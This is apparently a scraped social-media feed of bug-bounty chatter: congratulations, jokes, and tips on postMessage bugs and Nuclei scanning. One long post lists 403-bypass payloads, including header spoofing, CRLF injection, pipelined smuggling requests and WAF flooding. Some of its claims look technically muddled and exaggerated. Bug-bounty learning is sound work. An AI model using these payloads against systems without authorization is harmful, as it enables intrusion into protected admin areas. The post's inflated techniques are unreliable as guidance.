cybersecuz

Hack the Planet :-)

[cybersecuz @CyberSecUz]

Yay, I was awarded a $750 bounty on @Hacker0x01! https://t.co/UDoA2t8bLW #TogetherWeHitHarder

[cybersecuz @CyberSecUz]

@adnanthekhan You mean your bot can create accounts on any program?

[cybersecuz @CyberSecUz]

@mdp_sec

[cybersecuz @CyberSecUz]

@krishnsec @Bugcrowd Are you human?😁 Congratulations bro🔥👍

[cybersecuz @CyberSecUz]

@4osp3l Hi

[Magn4 @Magn4_]

A good tip for anyone hunting for postMessage vulnerabilities:

While testing an app, I found a listener with a weak origin check that handled messages insecurely. The bug was accepted and fixed with a strict origin check.
However, while reinvestigating the app, I found a different JS file that took an attacker controllable query param and used it to send the exact same postMessage internally. By adding my payload to that query param, I bypassed the new origin check and got a second bug.

Moral of the story: Always look for internal postMessage senders that can act as a proxy.

PS: The code below is just an example and is not the exact one I exploited

[cybersecuz @CyberSecUz]

@nahuelrm_ @Hacker0x01 Congratulations dude👏

[cybersecuz @CyberSecUz]

@ctbbpodcast @rez0__ It's really helpful to watch this video at 0.75x speed :-)

[cybersecuz @CyberSecUz]

@fattselimi @intigriti Which type of bugs you hunt mostly?

[Wakedxy @Wakedxy1]

During your pentest mission, please don’t make the same mistake I did.
Add printer IPs to your exclusion list when running Nuclei. Otherwise, the printer will interpret every packet sent to port 9100 as a print job.

[cybersecuz @CyberSecUz]

@the_IDORminator 😂😂😁
Nope, we don't like spicy foods too. Our dishes are just very high in calories.

[X @TheMsterDoctor1]

🧠💥 99% of hackers QUIT when they see a 403…

But the 1%? They try this: 👇

I found a 403 Forbidden on /admin.

But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin

👇👇👇

⸻

🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)

Target running HTTP/2 or gRPC? Force downgrade:

PRI * HTTP/2.0
SM

GET /admin HTTP/1.1

🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.

⸻

🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining

Send pipelined requests where only 1st is parsed by WAF:

POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13

GET /admin

💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.

This is invisible to most WAFs.

⸻

🚪 3. Misconfigured Reverse Proxy Chain Escape

Proxy chain: Cloudflare → NGINX → Apache

Try:

GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin

Apache follows X-Accel-Redirect, bypasses upstream auth check.

💣 Real-world: Gained internal panel behind Cloudflare.

⸻

🔄 4. CRLF into Rewrite Bypass

Some edge WAFs parse until CRLF \r\n, others don’t.

Exploit it:

GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin

WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes

⸻

🔃 5. Multipart Boundary Injection Bypass (💀)

Used when /admin is only allowed for file uploads:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337

------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain

BOOM
------1337--

💣 If upload endpoint allows arbitrary path write → full override.

⸻

📡 6. Misrouted Mesh Bypass via Service Discovery

Kubernetes, Linkerd, Istio-style microservices expose internal routes:

Send:

Host: admin.internal.svc.cluster.local
X-Service-Router: admin

If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.

⸻

⚠️ 7. GraphQL-Injected 403 Bypass

If app has GraphQL and 403-protected admin, try:

query {
admin {
users {
password
}
}
}

GraphQL often proxies internal microservice calls.

Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.

⸻

🧠 8. Preconnect Overload → Bypass

Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.

After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin

🧨 Real bypass via persistent connection channeling

⸻

💻 9. Browser-Only Token Auth Bypass (via Headless Browser)

Some SPAs load tokens via JS → protect /admin based on localStorage.

WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.

🔥 Use puppeteer + exportAuth → replay:

curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D

⸻

🧪 10. Distributed Retry Amplification

When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:

Retry-After: 0
X-Retry-URL: /admin

WAF retries → skips deny logic → backend hits /admin.

This is logic poisoning — not brute force.

⸻

🚨 These Aren’t Payloads. They’re Logic Chains.

Most tools stop at:

/admin%2e
X-Forwarded-For: 127.0.0.1

You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing

⸻

💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request

⸻

Want a toolkit that automates:

This is next-level exploitation.
Use it right. 🧠💣

🛠 TOOLS to automate bypass:

•🔧 https://t.co/5yIqLjkvaS

•🔧 https://t.co/bbVde9Caoh

•🔧 https://t.co/W05Ly8nEB6

•🔧 https://t.co/Av6mKRCef2

•🔧 https://t.co/kndjPIOEix

[cybersecuz @CyberSecUz]

@the_IDORminator Dude, I invite you to Uzbekistan for a stress test of your stomach😂😅

[cybersecuz @CyberSecUz]

@the_IDORminator another one

[cybersecuz @CyberSecUz]

@the_IDORminator Uzbek foods

[cybersecuz @CyberSecUz]

@Blaklis_ @the_IDORminator 😂😂😂

[🇷🇴 cristi @CristiVlad25]

If you're in bug bounty, for the very least you should read writeups.

I dare say this can bring you the biggest bang for the buck in your skillset.

look here: https://t.co/8zTVOgK9L8
and here: https://t.co/XLYf0Hh2Cp

[cybersecuz @CyberSecUz]

@dropn0w @Hacker0x01 You are rock🫡 Congratulations👍

[cybersecuz @CyberSecUz]

@Krevetk0Valeriy Stop hunting and chill out for a long time😁😂

[Mohsin Khan @tabaahi_]

I asked 10+ top bug hunters who made over $500k+ about their secrets.

Here’s what they said:

1. They work insanely hard (280+ hrs/month) even after earning millions.
2. They master 1–3 programs deeply.
3. Speed matters. Never break your momentum.

1/n

[Tushar Verma 🇮🇳 @e11i0t_4lders0n]

Want more P1s with less noise? Stop blind fuzzing. Use tech-aware fuzzing to find backup files, configs &amp; hidden endpoints developers leave behind

Read this thread 🧵

#bugbounty #bugbountytip #bugbountytips